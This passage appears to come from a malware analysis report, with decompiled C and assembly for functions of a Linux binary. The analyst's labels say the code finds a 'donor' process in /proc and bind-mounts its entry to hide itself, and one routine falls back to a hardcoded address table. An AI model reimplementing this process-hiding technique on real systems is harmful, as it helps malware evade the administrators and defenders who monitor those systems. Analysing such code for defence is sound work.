  undefined8 local_54;
  
  if (((param_1 == (char *)0x0) || (*param_1 == '\0')) ||
     (pcVar7 = (char *)FUN_00417f10(1,0x10), pcVar7 == (char *)0x0)) {
    return (char *)0x0;
  }
  iVar5 = FUN_0041c853(param_1,"%u.%u.%u.%u",&local_6c,&local_68,&local_64,&local_60);
  if (((iVar5 == 4) && (local_6c < 0x100)) &&
     ((local_68 < 0x100 && ((local_64 < 0x100 && (local_60 < 0x100)))))) {
    local_58 = FUN_00419b08(local_6c << 0x18 | local_68 << 0x10 | local_64 << 8 | local_60);
  }
  else {
    iVar5 = FUN_00419ee7(2,param_1,&local_58);
    if (iVar5 != 1) goto LAB_00414273;
  }
  cVar4 = FUN_00413b63(pcVar7,local_58);
  if (cVar4 != '\0') {
    return pcVar7;
  }
LAB_00414273:
  if (*param_1 != '\0') {
    thunk_FUN_0040d215(&local_58,0x30);
    local_54 = 0x100000002;
    iVar5 = FUN_0041970a(param_1,0,&local_58,&local_60);
    if (iVar5 == 0) {
      for (lVar8 = CONCAT44(uStack_5c,local_60); lVar8 != 0; lVar8 = *(long *)(lVar8 + 0x28)) {
        if ((*(int *)(lVar8 + 4) == 2) && (*(long *)(lVar8 + 0x18) != 0)) {
          FUN_00413b63(pcVar7,*(undefined4 *)(*(long *)(lVar8 + 0x18) + 4));
        }
      }
      FUN_004196b7(CONCAT44(uStack_5c,local_60));
    }
  }
  if (*pcVar7 == '\0') {
    lVar8 = FUN_0041daf0(0);
    if (((DAT_0062f0b0 < 1) || (DAT_0062f0a8 == 0)) ||
       (lVar3 = DAT_0062f0a8, 0x77 < lVar8 - DAT_0062f0a8)) {
      DAT_0062f0b0 = 0;
      lVar9 = 0;
      FUN_00413c4d();
      do {
        uVar2 = (&DAT_00428860)[lVar9];
        lVar9 = lVar9 + 1;
        uVar6 = FUN_00419b08(uVar2 >> 0x18 | (uVar2 & 0xff0000) >> 8 | (uVar2 & 0xff00) << 8 |
                             uVar2 << 0x18);
        FUN_00413bfa(uVar6);
        lVar3 = lVar8;
      } while (lVar9 != 0x12);
    }
    DAT_0062f0a8 = lVar3;
    lVar8 = 0;
    do {
      if (DAT_0062f0b0 <= (int)lVar8) {
        if (*pcVar7 == '\0') {
          FUN_00414172(pcVar7);
          return (char *)0x0;
        }
        return pcVar7;
      }
      puVar1 = &DAT_0062f0c0 + lVar8;
      lVar8 = lVar8 + 1;
      FUN_00413e9a(param_1,*puVar1,pcVar7);
    } while (*pcVar7 == '\0');
  }
  return pcVar7;
}

Assembly · 145 instructions, 1 annotated
AddressBytesInstructionComment
0041419341 56PUSH R14
0041419541 55PUSH R13
0041419741 54PUSH R12
0041419955PUSH RBP
0041419a53PUSH RBX
0041419b48 83 ec 50SUB RSP,0x50
0041419f48 85 ffTEST RDI,RDI
004141a20f 84 e6 01 00 00JZ LAB_0041438e
004141a880 3f 00CMP byte ptr [RDI],0x0
004141ab48 89 fbMOV RBX,RDI
004141ae0f 84 da 01 00 00JZ LAB_0041438e
004141b4be 10 00 00 00MOV ESI,0x10
004141b9bf 01 00 00 00MOV EDI,0x1
004141bee8 4d 3d 00 00CALL FUN_00417f10
004141c349 89 c4MOV R12,RAX
004141c648 85 c0TEST RAX,RAX
004141c90f 84 bf 01 00 00JZ LAB_0041438e
004141cf4c 8d 6c 24 18LEA R13,[RSP + 0x18]
004141d431 c0XOR EAX,EAX
004141d648 8d 4c 24 10LEA RCX,[RSP + 0x10]
004141db48 89 dfMOV RDI,RBX
004141de48 8d 54 24 0cLEA RDX,[RSP + 0xc]
004141e34d 89 e9MOV R9,R13
004141e64c 8d 44 24 14LEA R8,[RSP + 0x14]
004141eb48 8d 35 5a 46 01 00LEA RSI,[s_%u.%u.%u.%u_0042884c]; "%u.%u.%u.%u"
004141f2e8 5c 86 00 00CALL FUN_0041c853
004141f783 f8 04CMP EAX,0x4
004141fa75 4dJNZ LAB_00414249
004141fc8b 44 24 0cMOV EAX,dword ptr [RSP + local_6c]
004142003d ff 00 00 00CMP EAX,0xff
0041420577 42JA LAB_00414249
004142078b 4c 24 10MOV ECX,dword ptr [RSP + local_68]
0041420b81 f9 ff 00 00 00CMP ECX,0xff
0041421177 36JA LAB_00414249
004142138b 54 24 14MOV EDX,dword ptr [RSP + local_64]
0041421781 fa ff 00 00 00CMP EDX,0xff
0041421d77 2aJA LAB_00414249
0041421f8b 74 24 18MOV ESI,dword ptr [RSP + local_60]
0041422381 fe ff 00 00 00CMP ESI,0xff
0041422977 1eJA LAB_00414249
0041422bc1 e0 18SHL EAX,0x18
0041422ec1 e1 10SHL ECX,0x10
0041423189 c7MOV EDI,EAX
00414233c1 e2 08SHL EDX,0x8
0041423609 cfOR EDI,ECX
0041423809 d7OR EDI,EDX
0041423a09 f7OR EDI,ESI
0041423ce8 c7 58 00 00CALL FUN_00419b08
0041424189 44 24 20MOV dword ptr [RSP + local_58],EAX
0041424589 c6MOV ESI,EAX
00414247eb 1aJMP LAB_00414263
LAB_00414249:
0041424948 8d 54 24 20LEA RDX,[RSP + 0x20]
0041424e48 89 deMOV RSI,RBX
00414251bf 02 00 00 00MOV EDI,0x2
00414256e8 8c 5c 00 00CALL FUN_00419ee7
0041425bff c8DEC EAX
0041425d75 14JNZ LAB_00414273
0041425f8b 74 24 20MOV ESI,dword ptr [RSP + local_58]
LAB_00414263:
004142634c 89 e7MOV RDI,R12
00414266e8 f8 f8 ff ffCALL FUN_00413b63
0041426b84 c0TEST AL,AL
0041426d0f 85 1e 01 00 00JNZ LAB_00414391
LAB_00414273:
0041427380 3b 00CMP byte ptr [RBX],0x0
0041427674 68JZ LAB_004142e0
004142784c 8d 74 24 20LEA R14,[RSP + 0x20]
0041427dbe 30 00 00 00MOV ESI,0x30
004142824c 89 f7MOV RDI,R14
00414285e8 92 8f ff ffCALL thunk_FUN_0040d215
0041428ab8 01 00 00 80MOV EAX,0x80000001
0041428f31 f6XOR ESI,ESI
004142914c 89 e9MOV RCX,R13
0041429448 01 c0ADD RAX,RAX
004142974c 89 f2MOV RDX,R14
0041429a48 89 dfMOV RDI,RBX
0041429d48 89 44 24 24MOV qword ptr [RSP + local_54],RAX
004142a2e8 63 54 00 00CALL FUN_0041970a
004142a785 c0TEST EAX,EAX
004142a975 35JNZ LAB_004142e0
004142ab4c 8b 6c 24 18MOV R13,qword ptr [RSP + 0x18]
LAB_004142b0:
004142b04d 85 edTEST R13,R13
004142b374 21JZ LAB_004142d6
004142b541 83 7d 04 02CMP dword ptr [R13 + 0x4],0x2
004142ba75 14JNZ LAB_004142d0
004142bc49 8b 45 18MOV RAX,qword ptr [R13 + 0x18]
004142c048 85 c0TEST RAX,RAX
004142c374 0bJZ LAB_004142d0
004142c58b 70 04MOV ESI,dword ptr [RAX + 0x4]
004142c84c 89 e7MOV RDI,R12
004142cbe8 93 f8 ff ffCALL FUN_00413b63
LAB_004142d0:
004142d04d 8b 6d 28MOV R13,qword ptr [R13 + 0x28]
004142d4eb daJMP LAB_004142b0
LAB_004142d6:
004142d648 8b 7c 24 18MOV RDI,qword ptr [RSP + local_60]
004142dbe8 d7 53 00 00CALL FUN_004196b7
LAB_004142e0:
004142e041 80 3c 24 00CMP byte ptr [R12],0x0
004142e50f 85 a6 00 00 00JNZ LAB_00414391
004142eb31 ffXOR EDI,EDI
004142ede8 fe 97 00 00CALL FUN_0041daf0
004142f283 3d b7 ad 21 00 00CMP dword ptr [DAT_0062f0b0],0x0
004142f949 89 c5MOV R13,RAX
004142fc7e 18JLE LAB_00414316
004142fe48 8b 05 a3 ad 21 00MOV RAX,qword ptr [DAT_0062f0a8]
0041430548 85 c0TEST RAX,RAX
0041430874 0cJZ LAB_00414316
0041430a4c 89 eaMOV RDX,R13
0041430d48 29 c2SUB RDX,RAX
0041431048 83 fa 77CMP RDX,0x77
004143147e 3aJLE LAB_00414350
LAB_00414316:
00414316c7 05 90 ad 21 00 00 00 …MOV dword ptr [DAT_0062f0b0],0x0
0041432031 edXOR EBP,EBP
004143224c 8d 35 37 45 01 00LEA R14,[DAT_00428860]
00414329e8 1f f9 ff ffCALL FUN_00413c4d
LAB_0041432e:
0041432e41 8b 3c aeMOV EDI,dword ptr [R14 + RBP*0x4]
0041433248 ff c5INC RBP
004143350f cfBSWAP EDI
00414337e8 cc 57 00 00CALL FUN_00419b08
0041433c89 c7MOV EDI,EAX
0041433ee8 b7 f8 ff ffCALL FUN_00413bfa
0041434348 83 fd 12CMP RBP,0x12
0041434775 e5JNZ LAB_0041432e
004143494c 89 2d 58 ad 21 00MOV qword ptr [DAT_0062f0a8],R13
LAB_00414350:
0041435045 31 edXOR R13D,R13D
0041435348 8d 2d 66 ad 21 00LEA RBP,[DAT_0062f0c0]
LAB_0041435a:
0041435a44 39 2d 4f ad 21 00CMP dword ptr [DAT_0062f0b0],R13D
004143617e 1cJLE LAB_0041437f
0041436342 8b 74 ad 00MOV ESI,dword ptr [RBP + R13*0x4]
004143684c 89 e2MOV RDX,R12
0041436b48 89 dfMOV RDI,RBX
0041436e49 ff c5INC R13
00414371e8 24 fb ff ffCALL FUN_00413e9a
0041437641 80 3c 24 00CMP byte ptr [R12],0x0
0041437b74 ddJZ LAB_0041435a
0041437deb 12JMP LAB_00414391
LAB_0041437f:
0041437f41 80 3c 24 00CMP byte ptr [R12],0x0
0041438475 0bJNZ LAB_00414391
004143864c 89 e7MOV RDI,R12
00414389e8 e4 fd ff ffCALL FUN_00414172
LAB_0041438e:
0041438e45 31 e4XOR R12D,R12D
LAB_00414391:
0041439148 83 c4 50ADD RSP,0x50
004143954c 89 e0MOV RAX,R12
004143985bPOP RBX
004143995dPOP RBP
0041439a41 5cPOP R12
0041439c41 5dPOP R13
0041439e41 5ePOP R14
004143a0c3RET

bind-mounts a donor /proc/<pid> over…

0x41479d220 bytes
undefined FUN_0041479d()

bind-mounts a donor /proc/<pid> over its own

Cited as
E12
Behaviours
B4
Called from
FUN_00414879
Calls
thunk_FUN_0040cf7c, FUN_0040d0a8, thunk_FUN_0040d152, FUN_00414505, FUN_00414768, FUN_00417e93
Decompiled C · 27 lines
ulong FUN_0041479d(undefined4 param_1,undefined4 param_2,undefined8 param_3)

{
  int iVar1;
  ulong uVar2;
  undefined1 local_c8 [80];
  undefined1 local_78 [80];
  
  local_78[0] = 0;
  local_c8[0] = 0;
  thunk_FUN_0040d152(local_c8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  iVar1 = thunk_FUN_0040cf7c(local_c8);
  FUN_00414505(param_1,local_c8 + iVar1,10);
  iVar1 = thunk_FUN_0040cf7c(local_78);
  FUN_00414505(param_2,local_78 + iVar1,10);
  FUN_0040d0a8(local_c8,param_3);
  FUN_0040d0a8(local_78,param_3);
  uVar2 = FUN_00414768(local_c8);
  if ((int)uVar2 != 0) {
    iVar1 = FUN_00417e93(local_c8,local_78,0,0x1000,0);
    uVar2 = (ulong)(iVar1 == 0);
  }
  return uVar2;
}

Assembly · 61 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041479d41 57PUSH R15; E12
0041479f41 89 ffMOV R15D,EDI
004147a241 56PUSH R14
004147a441 89 f6MOV R14D,ESI
004147a741 55PUSH R13
004147a949 89 d5MOV R13,RDX
004147ac41 54PUSH R12
004147ae55PUSH RBP
004147af48 81 ec a0 00 00 00SUB RSP,0xa0
004147b648 8b 05 33 9f 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004147bd48 89 e5MOV RBP,RSP
004147c0c6 44 24 50 00MOV byte ptr [RSP + local_78],0x0
004147c54c 8d 64 24 50LEA R12,[RSP + 0x50]
004147ca48 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
004147d148 89 efMOV RDI,RBP
004147d4c6 04 24 00MOV byte ptr [RSP],0x0
004147d8e8 96 89 ff ffCALL thunk_FUN_0040d152
004147dd48 8b 05 0c 9f 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004147e44c 89 e7MOV RDI,R12
004147e748 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
004147eee8 80 89 ff ffCALL thunk_FUN_0040d152
004147f348 89 efMOV RDI,RBP
004147f6e8 1d 88 ff ffCALL thunk_FUN_0040cf7c
004147fbba 0a 00 00 00MOV EDX,0xa
0041480044 89 ffMOV EDI,R15D
0041480348 63 f0MOVSXD RSI,EAX
0041480648 01 eeADD RSI,RBP
00414809e8 f7 fc ff ffCALL FUN_00414505
0041480e4c 89 e7MOV RDI,R12
00414811e8 02 88 ff ffCALL thunk_FUN_0040cf7c
00414816ba 0a 00 00 00MOV EDX,0xa
0041481b44 89 f7MOV EDI,R14D
0041481e48 63 f0MOVSXD RSI,EAX
004148214c 01 e6ADD RSI,R12
00414824e8 dc fc ff ffCALL FUN_00414505
004148294c 89 eeMOV RSI,R13
0041482c48 89 efMOV RDI,RBP
0041482fe8 74 88 ff ffCALL FUN_0040d0a8
004148344c 89 e7MOV RDI,R12
004148374c 89 eeMOV RSI,R13
0041483ae8 69 88 ff ffCALL FUN_0040d0a8
0041483f48 89 efMOV RDI,RBP
00414842e8 21 ff ff ffCALL FUN_00414768
0041484785 c0TEST EAX,EAX
0041484974 1dJZ LAB_00414868
0041484b45 31 c0XOR R8D,R8D
0041484e31 d2XOR EDX,EDX
00414850b9 00 10 00 00MOV ECX,0x1000
004148554c 89 e6MOV RSI,R12
0041485848 89 efMOV RDI,RBP
0041485be8 33 36 00 00CALL FUN_00417e93
0041486085 c0TEST EAX,EAX
004148620f 94 c0SETZ AL
004148650f b6 c0MOVZX EAX,AL
LAB_00414868:
0041486848 81 c4 a0 00 00 00ADD RSP,0xa0
0041486f5dPOP RBP
0041487041 5cPOP R12
0041487241 5dPOP R13
0041487441 5ePOP R14
0041487641 5fPOP R15
00414878c3RET

finds a donor process in /proc by store…

0x4148791356 bytes
undefined FUN_00414879()

finds a donor process in /proc by store names and hides behind it

Cited as
E12
Behaviours
B4
Called from
FUN_00414dca
Calls
FUN_0040caad, thunk_FUN_0040cf7c, FUN_0040d0a8, FUN_0040d114, thunk_FUN_0040d152, FUN_004143e1, FUN_00414505, FUN_00414586, FUN_004146aa, FUN_00414768, FUN_0041479d, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417e93, FUN_0041cad4, FUN_0041ce60, FUN_0041d540, FUN_0041dc31
Decompiled C · 166 lines
undefined8 FUN_00414879(int param_1)

{
  bool bVar1;
  int iVar2;
  int iVar3;
  undefined8 uVar4;
  long lVar5;
  ulong uVar6;
  long lVar7;
  long lVar8;
  char *pcVar9;
  int iVar10;
  undefined4 *puVar11;
  int local_10c;
  undefined1 local_108 [16];
  undefined1 local_f8 [64];
  undefined1 local_b8 [64];
  char local_78 [72];
  
  iVar2 = FUN_0041dc31();
  uVar4 = 0;
  if (((iVar2 == 0) && (uVar4 = 0xffffffff, DAT_0062e6f0 != 0)) &&
     (*(long *)(DAT_0062e6f0 + 0xce0) != 0)) {
    local_108[0] = 0;
    FUN_00414505(param_1,local_108,10);
    local_b8[0] = 0;
    thunk_FUN_0040d152(local_b8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
    FUN_0040d0a8(local_b8,local_108);
    iVar2 = FUN_00414768(local_b8);
    if (iVar2 != 0) {
      local_10c = 0xc;
      do {
        if ((param_1 == 1) || (iVar2 = FUN_00414586(1), iVar2 == 0)) {
          DAT_0062f120 = 0;
          if ((DAT_0062e6f0 != 0) &&
             ((*(long *)(DAT_0062e6f0 + 0xe10) != 0 && (lVar7 = FUN_0041779c(), lVar7 != 0)))) {
            do {
              do {
LAB_0041496d:
                do {
                  do {
                    lVar5 = FUN_004177dd(lVar7);
                    if ((lVar5 == 0) || (0x2f < (int)DAT_0062f120)) {
                      FUN_00417776(lVar7);
                      goto LAB_004149ae;
                    }
                  } while (*(char *)(lVar5 + 0x13) == '\0');
                  for (pcVar9 = (char *)(lVar5 + 0x13); *pcVar9 != '\0'; pcVar9 = pcVar9 + 1) {
                    if (9 < (byte)(*pcVar9 - 0x30U)) goto LAB_0041496d;
                  }
                  iVar2 = FUN_0041cad4();
                } while ((((iVar2 < 2) || (param_1 == iVar2)) ||
                         (iVar10 = FUN_004146aa(iVar2,local_78), iVar10 == 0)) ||
                        (local_78[0] == '\0'));
              } while (local_78[0] == '[');
              uVar4 = FUN_004143e1(0x198);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x199);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19a);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19b);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19c);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19d);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if ((((((lVar5 != 0) ||
                     ((lVar5 = FUN_004143e1(0x197), lVar5 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar5), iVar10 == 0)))) ||
                    ((lVar5 = FUN_004143e1(0x19e), lVar5 != 0 &&
                     (iVar10 = FUN_0041ce60(local_78,lVar5), iVar10 == 0)))) ||
                   ((((lVar8 = FUN_004143e1(0x19f), lVar8 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)) ||
                     ((lVar8 = FUN_004143e1(0x1a0), lVar8 != 0 &&
                      (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))) ||
                    ((lVar8 = FUN_004143e1(0x1a1), lVar8 != 0 &&
                     (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))))) ||
                  ((lVar8 = FUN_004143e1(0x1a2), lVar8 != 0 &&
                   (iVar10 = FUN_0041ce60(local_78,lVar8), iVar10 == 0)))) ||
                 (lVar5 = FUN_0040d114(local_78,lVar5), lVar5 != 0)) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x19f);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if (lVar5 != 0) goto LAB_00414bae;
              uVar4 = FUN_004143e1(0x1a3);
              lVar5 = FUN_0040d114(local_78,uVar4);
              if ((lVar5 != 0) || (lVar5 = FUN_0041d540(local_78,&DAT_004288ac), lVar5 != 0)) {
LAB_00414bae:
                if ((local_78[0] != '[') && (iVar10 = FUN_00414586(iVar2), iVar10 != 0)) {
                  lVar5 = (long)(int)DAT_0062f120;
                  DAT_0062f120 = DAT_0062f120 + 1;
                  (&DAT_0062f140)[lVar5] = iVar2;
                }
              }
            } while( true );
          }
LAB_004149ae:
          iVar2 = 0x81;
          if ((int)DAT_0062f120 < 1) {
            do {
              do {
                iVar2 = iVar2 + -1;
                if (iVar2 == 0) {
                  if (param_1 != 1) {
                    FUN_00414586(1);
                  }
                  goto LAB_00414a62;
                }
                uVar6 = FUN_0040caad();
                iVar10 = (int)((uVar6 & 0xffffffff) % 4000) + 2;
              } while (param_1 == iVar10);
              local_78[0] = '\0';
              thunk_FUN_0040d152(local_78,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
              iVar3 = thunk_FUN_0040cf7c(local_78);
              FUN_00414505(iVar10,local_78 + iVar3,10);
              iVar3 = FUN_00414768(local_78);
            } while ((iVar3 == 0) || (iVar3 = FUN_00414586(iVar10), iVar3 == 0));
          }
          else {
            uVar6 = FUN_0040caad();
            iVar10 = (&DAT_0062f140)[(int)((uVar6 & 0xffffffff) % (ulong)DAT_0062f120)];
          }
        }
        else {
LAB_00414a62:
          iVar10 = 1;
        }
        local_f8[0] = 0;
        thunk_FUN_0040d152(local_f8,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
        iVar2 = thunk_FUN_0040cf7c(local_f8);
        FUN_00414505(iVar10,local_f8 + iVar2,10);
        iVar2 = FUN_00414768(local_f8);
        if (iVar2 != 0) {
          iVar2 = FUN_00414768(local_f8);
          if ((iVar2 != 0) && (iVar2 = FUN_00417e93(local_f8,local_b8,0,0x1000,0), iVar2 == 0)) {
            return 1;
          }
          puVar11 = &DAT_004288c0;
          bVar1 = false;
          do {
            lVar7 = FUN_004143e1(*puVar11);
            if ((lVar7 != 0) && (iVar2 = FUN_0041479d(iVar10,param_1), iVar2 != 0)) {
              bVar1 = true;
            }
            puVar11 = puVar11 + 1;
          } while (puVar11 != (undefined4 *)&DAT_004288d4);
          iVar2 = FUN_0041479d(iVar10,param_1,&DAT_004288af);
          if (iVar2 != 0 || bVar1) {
            return 1;
          }
        }
        local_10c = local_10c + -1;
      } while (local_10c != 0);
    }
    uVar4 = 0xffffffff;
  }
  return uVar4;
}

Assembly · 347 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041487941 57PUSH R15; E12
0041487b41 56PUSH R14
0041487d41 55PUSH R13
0041487f41 54PUSH R12
0041488155PUSH RBP
0041488253PUSH RBX
0041488389 fbMOV EBX,EDI
0041488548 81 ec e8 00 00 00SUB RSP,0xe8
0041488ce8 a0 93 00 00CALL FUN_0041dc31
0041489141 89 c0MOV R8D,EAX
0041489431 c0XOR EAX,EAX
0041489645 85 c0TEST R8D,R8D
004148990f 85 14 05 00 00JNZ LAB_00414db3
0041489f48 8b 15 4a 9e 21 00MOV RDX,qword ptr [DAT_0062e6f0]
004148a683 c8 ffOR EAX,0xffffffff
004148a948 85 d2TEST RDX,RDX
004148ac0f 84 01 05 00 00JZ LAB_00414db3
004148b248 83 ba e0 0c 00 00 00CMP qword ptr [RDX + 0xce0],0x0
004148ba0f 84 f3 04 00 00JZ LAB_00414db3
004148c048 8d 6c 24 10LEA RBP,[RSP + 0x10]
004148c5ba 0a 00 00 00MOV EDX,0xa
004148ca89 dfMOV EDI,EBX
004148ccc6 44 24 10 00MOV byte ptr [RSP + local_108],0x0
004148d148 89 eeMOV RSI,RBP
004148d44c 8d 7c 24 60LEA R15,[RSP + 0x60]
004148d9e8 27 fc ff ffCALL FUN_00414505
004148de48 8b 05 0b 9e 21 00MOV RAX,qword ptr [DAT_0062e6f0]
004148e54c 89 ffMOV RDI,R15
004148e8c6 44 24 60 00MOV byte ptr [RSP + local_b8],0x0
004148ed48 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
004148f4e8 7a 88 ff ffCALL thunk_FUN_0040d152
004148f94c 89 ffMOV RDI,R15
004148fc48 89 eeMOV RSI,RBP
004148ffe8 a4 87 ff ffCALL FUN_0040d0a8
004149044c 89 ffMOV RDI,R15
00414907e8 5c fe ff ffCALL FUN_00414768
0041490c85 c0TEST EAX,EAX
0041490e0f 84 35 02 00 00JZ LAB_00414b49
00414914c7 44 24 0c 0c 00 00 00MOV dword ptr [RSP + local_10c],0xc
LAB_0041491c:
0041491c83 fb 01CMP EBX,0x1
0041491f75 18JNZ LAB_00414939
LAB_00414921:
0041492148 8b 05 c8 9d 21 00MOV RAX,qword ptr [DAT_0062e6f0]
00414928c7 05 ee a7 21 00 00 00 …MOV dword ptr [DAT_0062f120],0x0
0041493248 85 c0TEST RAX,RAX
0041493575 15JNZ LAB_0041494c
00414937eb 75JMP LAB_004149ae
LAB_00414939:
00414939bf 01 00 00 00MOV EDI,0x1
0041493ee8 43 fc ff ffCALL FUN_00414586
0041494385 c0TEST EAX,EAX
0041494574 daJZ LAB_00414921
00414947e9 16 01 00 00JMP LAB_00414a62
LAB_0041494c:
0041494c48 8b b8 10 0e 00 00MOV RDI,qword ptr [RAX + 0xe10]
0041495348 85 ffTEST RDI,RDI
0041495674 56JZ LAB_004149ae
00414958e8 3f 2e 00 00CALL FUN_0041779c
0041495d49 89 c5MOV R13,RAX
0041496048 85 c0TEST RAX,RAX
0041496374 49JZ LAB_004149ae
LAB_00414965:
0041496548 8d ac 24 a0 00 00 00LEA RBP,[RSP + 0xa0]
LAB_0041496d:
0041496d4c 89 efMOV RDI,R13
00414970e8 68 2e 00 00CALL FUN_004177dd
0041497548 85 c0TEST RAX,RAX
0041497874 2cJZ LAB_004149a6
0041497a83 3d 9f a7 21 00 2fCMP dword ptr [DAT_0062f120],0x2f
004149817f 23JG LAB_004149a6
0041498380 78 13 00CMP byte ptr [RAX + 0x13],0x0
0041498774 e4JZ LAB_0041496d
0041498948 8d 78 13LEA RDI,[RAX + 0x13]
0041498d48 89 faMOV RDX,RDI
LAB_00414990:
004149908a 02MOV AL,byte ptr [RDX]
0041499284 c0TEST AL,AL
004149940f 84 b7 01 00 00JZ LAB_00414b51
0041499a83 e8 30SUB EAX,0x30
0041499d3c 09CMP AL,0x9
0041499f77 ccJA LAB_0041496d
004149a148 ff c2INC RDX
004149a4eb eaJMP LAB_00414990
LAB_004149a6:
004149a64c 89 efMOV RDI,R13
004149a9e8 c8 2d 00 00CALL FUN_00417776
LAB_004149ae:
004149ae83 3d 6b a7 21 00 00CMP dword ptr [DAT_0062f120],0x0
004149b541 bd 81 00 00 00MOV R13D,0x81
004149bb41 be a0 0f 00 00MOV R14D,0xfa0
004149c17e 30JLE LAB_004149f3
004149c3e8 e5 80 ff ffCALL FUN_0040caad
004149c831 d2XOR EDX,EDX
004149caf7 35 50 a7 21 00DIV dword ptr [DAT_0062f120]
004149d048 8d 05 69 a7 21 00LEA RAX,[DAT_0062f140]
004149d748 63 d2MOVSXD RDX,EDX
004149da8b 2c 90MOV EBP,dword ptr [RAX + RDX*0x4]
004149dde9 85 00 00 00JMP LAB_00414a67
LAB_004149e2:
004149e2e8 c6 80 ff ffCALL FUN_0040caad
004149e731 d2XOR EDX,EDX
004149e941 f7 f6DIV R14D
004149ec8d 6a 02LEA EBP,[RDX + 0x2]
004149ef39 ebCMP EBX,EBP
004149f175 07JNZ LAB_004149fa
LAB_004149f3:
004149f341 ff cdDEC R13D
004149f675 eaJNZ LAB_004149e2
004149f8eb 59JMP LAB_00414a53
LAB_004149fa:
004149fa48 8b 05 ef 9c 21 00MOV RAX,qword ptr [DAT_0062e6f0]
00414a014c 8d a4 24 a0 00 00 00LEA R12,[RSP + 0xa0]
00414a09c6 84 24 a0 00 00 00 00MOV byte ptr [RSP + local_78],0x0
00414a114c 89 e7MOV RDI,R12
00414a1448 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
00414a1be8 53 87 ff ffCALL thunk_FUN_0040d152
00414a204c 89 e7MOV RDI,R12
00414a23e8 f0 85 ff ffCALL thunk_FUN_0040cf7c
00414a2889 efMOV EDI,EBP
00414a2aba 0a 00 00 00MOV EDX,0xa
00414a2f48 63 f0MOVSXD RSI,EAX
00414a324c 01 e6ADD RSI,R12
00414a35e8 cb fa ff ffCALL FUN_00414505
00414a3a4c 89 e7MOV RDI,R12
00414a3de8 26 fd ff ffCALL FUN_00414768
00414a4285 c0TEST EAX,EAX
00414a4474 adJZ LAB_004149f3
00414a4689 efMOV EDI,EBP
00414a48e8 39 fb ff ffCALL FUN_00414586
00414a4d85 c0TEST EAX,EAX
00414a4f74 a2JZ LAB_004149f3
00414a51eb 14JMP LAB_00414a67
LAB_00414a53:
00414a5383 fb 01CMP EBX,0x1
00414a5674 0aJZ LAB_00414a62
00414a58bf 01 00 00 00MOV EDI,0x1
00414a5de8 24 fb ff ffCALL FUN_00414586
LAB_00414a62:
00414a62bd 01 00 00 00MOV EBP,0x1
LAB_00414a67:
00414a6748 8b 05 82 9c 21 00MOV RAX,qword ptr [DAT_0062e6f0]
00414a6e4c 8d 64 24 20LEA R12,[RSP + 0x20]
00414a73c6 44 24 20 00MOV byte ptr [RSP + local_f8],0x0
00414a784c 89 e7MOV RDI,R12
00414a7b48 8b b0 e0 0c 00 00MOV RSI,qword ptr [RAX + 0xce0]
00414a82e8 ec 86 ff ffCALL thunk_FUN_0040d152
00414a874c 89 e7MOV RDI,R12
00414a8ae8 89 85 ff ffCALL thunk_FUN_0040cf7c
00414a8f89 efMOV EDI,EBP
00414a91ba 0a 00 00 00MOV EDX,0xa
00414a9648 63 f0MOVSXD RSI,EAX
00414a994c 01 e6ADD RSI,R12
00414a9ce8 64 fa ff ffCALL FUN_00414505
00414aa14c 89 e7MOV RDI,R12
00414aa4e8 bf fc ff ffCALL FUN_00414768
00414aa985 c0TEST EAX,EAX
00414aab75 0fJNZ LAB_00414abc
LAB_00414aad:
00414aadff 4c 24 0cDEC dword ptr [RSP + local_10c]
00414ab10f 85 65 fe ff ffJNZ LAB_0041491c
00414ab7e9 8d 00 00 00JMP LAB_00414b49
LAB_00414abc:
00414abc4c 89 e7MOV RDI,R12
00414abfe8 a4 fc ff ffCALL FUN_00414768
00414ac485 c0TEST EAX,EAX
00414ac675 12JNZ LAB_00414ada
LAB_00414ac8:
00414ac84c 8d 25 f1 3d 01 00LEA R12,[DAT_004288c0]
00414acf45 31 edXOR R13D,R13D
00414ad241 be 01 00 00 00MOV R14D,0x1
00414ad8eb 33JMP LAB_00414b0d
LAB_00414ada:
00414ada45 31 c0XOR R8D,R8D
00414add31 d2XOR EDX,EDX
00414adfb9 00 10 00 00MOV ECX,0x1000
00414ae44c 89 feMOV RSI,R15
00414ae74c 89 e7MOV RDI,R12
00414aeae8 a4 33 00 00CALL FUN_00417e93
00414aef85 c0TEST EAX,EAX
00414af175 d5JNZ LAB_00414ac8
LAB_00414af3:
00414af3b8 01 00 00 00MOV EAX,0x1
00414af8e9 b6 02 00 00JMP LAB_00414db3
LAB_00414afd:
00414afd49 83 c4 04ADD R12,0x4
00414b0148 8d 05 cc 3d 01 00LEA RAX,[DAT_004288d4]
00414b0849 39 c4CMP R12,RAX
